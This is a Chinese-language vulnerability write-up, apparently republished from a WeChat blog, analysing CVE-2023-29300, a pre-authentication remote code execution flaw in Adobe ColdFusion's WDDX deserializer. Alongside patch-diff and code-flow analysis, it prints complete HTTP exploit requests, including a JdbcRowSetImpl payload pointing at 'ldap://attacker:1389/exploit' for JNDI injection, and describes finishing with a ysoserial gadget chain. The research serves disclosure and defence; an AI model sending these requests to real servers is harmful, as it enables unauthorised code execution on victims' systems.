分析 CVE-2023-29300:Adobe ColdFusion 预授权 RCE
2023-7-13 09:40:59 Author: Ots安全(查看原文) 阅读量:136 收藏

介绍
Adobe ColdFusion 因其强大的 Web 开发功能而受到广泛认可,最近发布了一个重要的安全更新。此次更新特别针对三个安全问题,其中CVE-2023-29300是一个高度关注的预身份验证远程代码执行(RCE)漏洞。此漏洞构成重大威胁,允许恶意行为者在存在漏洞的 Coldfusion 2018、2021 和 2023 安装上执行任意代码,而无需事先进行身份验证。
在这篇博文中,我们的目标是对 CVE-2023-29300 进行全面分析,阐明漏洞的性质及其潜在影响,并分享我们团队进行的代码审核之旅。
补丁里有什么?
在我们的研究环境中,现有的 Adobe ColdFusion 2021 设置已经在我们之前的工作中就位。在发现新的安全更新(版本 7)可用后,我们在确保备份当前安装目录后继续安装它。此安装的目的是执行补丁比较,使我们能够比较安全更新所做的更改,并在必要时回滚。
我们进行了 git diff 并观察到coldfusion.wddx.DeserializerWorker.java文件中的显着变化。
这是一个XML 类型的WDDX数据包解串器。在startElement方法中DeserializerWorker,我们注意到新添加的验证是通过validateWddxFilter() forstruct元素执行的。  
public void startElement(String name, AttributeList atts) throws SAXException { try { ... if (name.equalsIgnoreCase("struct") && atts.getType(0) != null) { validateWddxFilter(atts); } ... } catch (WddxDeserializationException e) { throwSAXException(e); } }
private void validateWddxFilter(AttributeList atts) throws InvalidWddxPacketException { String attributeType = atts.getValue("type"); validateBlockedClass(attributeType); }
private void validateBlockedClass(String attributeType) throws InvalidWddxPacketException { if (attributeType != null && !attributeType.toLowerCase().startsWith("coldfusion") && !attributeType.equalsIgnoreCase(StructTypes.ORDERED.getValue()) && !attributeType.equalsIgnoreCase(StructTypes.CASESENSITIVE.getValue()) && !attributeType.equalsIgnoreCase(StructTypes.ORDEREDCASESENSITIVE.getValue()) && WddxFilter.invoke(attributeType)) { throw new InvalidWddxPacketException(); } }
该struct元素现在在其属性中包含新的检查type,确保 className 以 开头coldfusion并通过其他辅助检查。该validateBlockedClass函数指示完全限定类名 (FQCN) 将作为类型属性传递。
WDDX数据包的解析
在查看了有关 WDDX 的文档和文章后,我们对 WDDX 数据包的结构有了基本的了解。现在,让我们深入研究这个数据包的解析。每个WDDX元素对应一个特定的处理程序;例如,struct 元素由 StructHandler 处理。由于更改是针对结构元素进行的,因此我们的重点转移到解析 WDDX 结构元素。
<wddxPacket version='1.0'><header/><data><struct type='className'><var name='prop_name'><string>prop_value</string></var></struct></data></wddxPacket>
通过阅读、调试、跟踪各种断点,我们理解了解析过程。据观察,Java 反射在某些代码块中广泛使用,这表明用户输入将经历反射调用。
这是解析过程中有趣部分的代码流程:
onEndElement() -> getClassBySignature() -> setBeanProperties()
Finding the Sink
在该方法中,如果 WDDX 数据包的结构元素中提供了类型属性,则会对在代码中之前设置的字段onEndElement()执行检查。m_strictType
     public void onEndElement() throws WddxDeserializationException {          if (this.m_strictType == null) {            setTypeAndValue(this.m_ht);            return;        }        try {            Class beanClass = getClassBySignature(this.m_strictType);            Object bean = beanClass.getDeclaredConstructor(new Class[0]).newInstance(new Object[0]);            setBeanProperties(bean, this.m_ht);            setTypeAndValue(bean);        } catch (Exception e) {      ...        }    }
通过此检查后,将调用getClassbySignature(),它使用反射来获取类实例。类名源自用户控制的输入m_strictType,并且第一个和最后一个字符被删除,可能是因为输入预计采用LclassName 的形式;
    private static Class getClassBySignature(String jniTypeSig) throws ClassNotFoundException {        char c = jniTypeSig.charAt(0);        switch (c) {            ...            default:                String className = jniTypeSig.substring(0 + 1, jniTypeSig.length() - 1);                return Class.forName(className);        }      }
一旦我们有了类名,就会使用反射来访问类的构造函数,特别是不带参数的构造函数,并实例化该类的实例。然后,该实例与包含 WDDX 变量的setBeanProperties()用户控制字段一起传递到。m_ht
    private void setBeanProperties(Object bean, Map props) throws WddxDeserializationException {        Hashtable descriptors;        try {            BeanInfo beanInfo = Introspector.getBeanInfo(bean.getClass(), Object.class);            PropertyDescriptor[] descriptorArray = beanInfo.getPropertyDescriptors();            descriptors = new Hashtable();            for (int i = 0; i < descriptorArray.length; i++) {                descriptors.put(descriptorArray[i].getName(), descriptorArray[i]);            }        } catch () {            ...        }        for (String propName : props.keySet()) {            Object propValue = props.get(propName);            IndexedPropertyDescriptor indexedPropertyDescriptor = (PropertyDescriptor) descriptors.get(propName);            if (indexedPropertyDescriptor != null) {                if (indexedPropertyDescriptor instanceof IndexedPropertyDescriptor) {                    ...                } else {                    Method method2 = indexedPropertyDescriptor.getWriteMethod();                    if (method2 != null) {                        try {                            Class[] types2 = method2.getParameterTypes();                            Object value2 = ObjectConverter.convert(propValue, types2[0]);                            method2.invoke(bean, value2);                        } catch () {                            ...                        }                    }                }               ...            }        }    }
方法getPropertyDescriptors()返回BeanInfo一个对象数组PropertyDescriptor。每个PropertyDescriptor代表 bean 的一个属性,并包含有关属性名称、数据类型和 getter/setter 方法的信息。最终我们看到了 IndexedPropertyDescriptor 的用法,它有getReadMethod和getWriteMethod,分别对应 getter 方法和 setter 方法。我们注意到,如果 bean 有任何 setter 方法,它将被返回,并最终通过 Java Reflections 在 bean 上调用,变量值作为唯一参数,这些变量值来自 WDDX 数据包,这又是用户控制的。
TL;DR:我们发现了一个漏洞,在某些条件下可以调用类的方法:
  1. 该类必须有一个不带参数的公共构造函数。
  2. 该方法必须是一个 setter,由其名称以“set”开头表示。
  3. setter 方法必须只接受一个参数。
了解了易受攻击的接收器后,我们继续下一步,确定该接收器的预身份验证源。在我们通过搜索反编译代码库进行分析时WddxDeserializer,我们发现了来自该类的调用FilterUtils。
寻找源头
在搜索 WddxDeserializer 的反编译代码库时,我们在 FilterUtils 类中发现了对 WddxDeserializer 的引用。
    public static Object WDDXDeserialize(String str) throws Throwable {        WddxDeserializer deserializer = new WddxDeserializer();        InputSource source = new InputSource(new StringReader(str));        return deserializer.deserialize(source);    }
具体来说,它正在该GetArgumentCollection方法中使用。此方法将请求上下文作为输入,并argumentCollection从表单或查询字符串中提取参数。然后检查检索到的输入以确定其是否为 JSON 类型。如果不是,则使用WDDXDeserialize()调用将该值反序列化为 WDDX 数据包。
    public static Map GetArgumentCollection(FusionContext context) throws Throwable {        Struct argumentCollection;        HttpServletRequest httpServletRequest = context.request;        String attr = (String) context.pageContext.findAttribute("url.argumentCollection");        if (attr == null) {            attr = (String) context.pageContext.findAttribute("form.argumentCollection");        }        if (attr == null) {            argumentCollection = new Struct();        } else {            String attr2 = attr.trim();            if (attr2.charAt(0) == '{') {                argumentCollection = (Struct) JSONUtils.deserializeJSON(attr2);            } else {                argumentCollection = (Struct) WDDXDeserialize(attr2); // Call to vulnerable Sink here            }        }
在阅读了有关以前 CVE 的代码库和Rapid7的外部文章后,我们意识到我们需要一个有效的 CFC 端点。在我们的例子中,预身份验证 CFC 端点触发GetArgumentCollection对我们易受攻击的接收器的调用并最终触发调用,即WDDXDeserialize().
我们到达 WDDX 的示例请求StructHandler如下所示:
POST /CFIDE/adminapi/accessmanager.cfc?method=foo&_cfclient=true HTTP/2Host: localhostAccept-Encoding: gzip, deflateAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36Cache-Control: max-age=0Content-Type: application/x-www-form-urlencodedContent-Length: 275
argumentCollection=<wddxPacket version='1.0'><header/><data><struct type='xclassNamex'><var name='VERSION'><string>1.0.0</string></var></struct></data></wddxPacket>
其中/CFIDE/adminapi/accessmanager.cfc是预验证有效的 CFC 端点。
为了验证我们的原语,我们设置了一个 JVM 调试器并在方法调用处放置了一个断点。为了确认该漏洞,我们选择了一个java.util.Date满足指定要求的简单类 。该类具有 setter 方法,例如setDate. 然后,我们在请求中创建了一个类似于以下内容的 WDDX 数据包:
POST /CFIDE/adminapi/accessmanager.cfc?method=foo&_cfclient=true HTTP/2Host: localhostAccept-Encoding: gzip, deflateAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36Cache-Control: max-age=0Content-Type: application/x-www-form-urlencodedContent-Length: 275
argumentCollection=<wddxPacket version='1.0'><header/><data><struct type='xjava.util.Datex'><var name='date'><string>our_input</string></var></struct></data></wddxPacket>
在此阶段,我们能够确认调用java.util.Date.setDate(our_input)已成功执行。我们的下一个目标是找到一种滥用此原语进行远程代码执行的方法。
将 JNDI 注入升级为 RCE
几个小时后,我们偶然发现了com.sun.rowset.JdbcRowSetImpl符合我们要求的课程。如果将布尔参数传递给setAutoCommit()此类的方法,它将对 dataSourceName 执行 JNDI 查找,可以使用该setDataSourceName()方法设置 dataSourceName。这一发现使我们认识到,setDataSourceName()随后调用setAutoCommit()会导致 JNDI 注入漏洞。需要注意的是,我们在执行方法调用时处于 for 循环中,因此我们能够在 bean 实例上调用多个方法。
在此阶段,我们已通过 WDDX 反序列化升级为 JNDI 注入,这为远程代码执行提供了可能性。
请求如下所示:
POST /CFIDE/adminapi/accessmanager.cfc?method=foo&_cfclient=true HTTP/2Host: localhostAccept-Encoding: gzip, deflateAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36Cache-Control: max-age=0Content-Type: application/x-www-form-urlencodedContent-Length: 275
argumentCollection=<wddxPacket version='1.0'><header/><data><struct type='xcom.sun.rowset.JdbcRowSetImplx'><var name='dataSourceName'><string>ldap://attacker:1389/exploit</string></var><var name='autoCommit'><boolean value='true'/></var></struct></data></wddxPacket>
查看类路径,我们注意到有几个commons-beanutils-1.9.4独立的库。我们为恶意 LDAP 服务器生成了 ysoserial java 反序列化有效负载commons-beanutils并将其绑定到该服务器上。这样做会导致在 Adobe ColdFusion 2021(更新 6)上远程执行代码。

CVE-2023-29300 的 Nuclei 模板现已在 Nuclei-Templates 存储库中提供 -此处
您可以运行nuclei来扫描 CVE-2023-29300,如下所示:
nuclei -id CVE-2023-29300 -list coldfusion_list.txt
结论
总之,我们的分析揭示了 Adobe ColdFusion 2021(更新 6)内的 WDDX 反序列化过程中存在重大漏洞。通过利用该漏洞,我们能够实现远程代码执行。该问题源于 Java Reflection API 的不安全使用,允许调用某些方法。
要利用此漏洞,通常需要访问有效的 CFC 端点。但是,如果由于 ColdFusion 锁定模式而无法直接访问默认的预身份验证 CFC 端点,则可能会将此漏洞与 CVE-2023-29298 结合起来。这种组合可以针对易受攻击的 ColdFusion 实例进行远程代码执行,即使它配置为锁定模式也是如此。

文章来源: http://mp.weixin.qq.com/s?__biz=MzAxMjYyMzkwOA==&mid=2247499939&idx=1&sn=cb4eba54153237476e617df373b73018&chksm=9bad89e8acda00fead30157e3f5651db73b460590e8105774c2e6ad0630416ea6c8de0b94265#rd
如有侵权请联系:admin#unsafe.sh